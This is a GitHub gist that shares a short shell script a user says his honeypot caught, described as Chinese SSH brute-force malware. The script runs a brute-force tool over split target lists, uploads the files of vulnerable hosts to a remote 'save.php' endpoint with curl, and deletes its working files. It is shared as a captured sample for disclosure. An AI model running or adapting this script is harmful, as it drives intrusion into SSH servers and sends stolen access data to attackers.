Skip to content

Instantly share code, notes, and snippets.

@dimkr
Created September 26, 2014 13:49
Show Gist options
  • Save dimkr/daa3f550b815c84b5804 to your computer and use it in GitHub Desktop.
Save dimkr/daa3f550b815c84b5804 to your computer and use it in GitHub Desktop.
Chinese SSH brute force malware caught by my honeypot
split -5000 results22.txt temp_22_
ls temp_22_* | while read name; do
echo Start $name
mv -f $name mfu.txt
./brutessh 500
sync
split -10000 vuln.txt temp_bios_
ls temp_bios_* | while read name; do
curl --url http://SOME_CHINESE_IP_GOES_HERE/save.php -F submitname=OK -F userfile=@$name
done
rm -f temp_bios_*
rm -f vuln.txt mfu.txt
done
rm -f temp_22_* brutessh pass_file
rm -f q
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment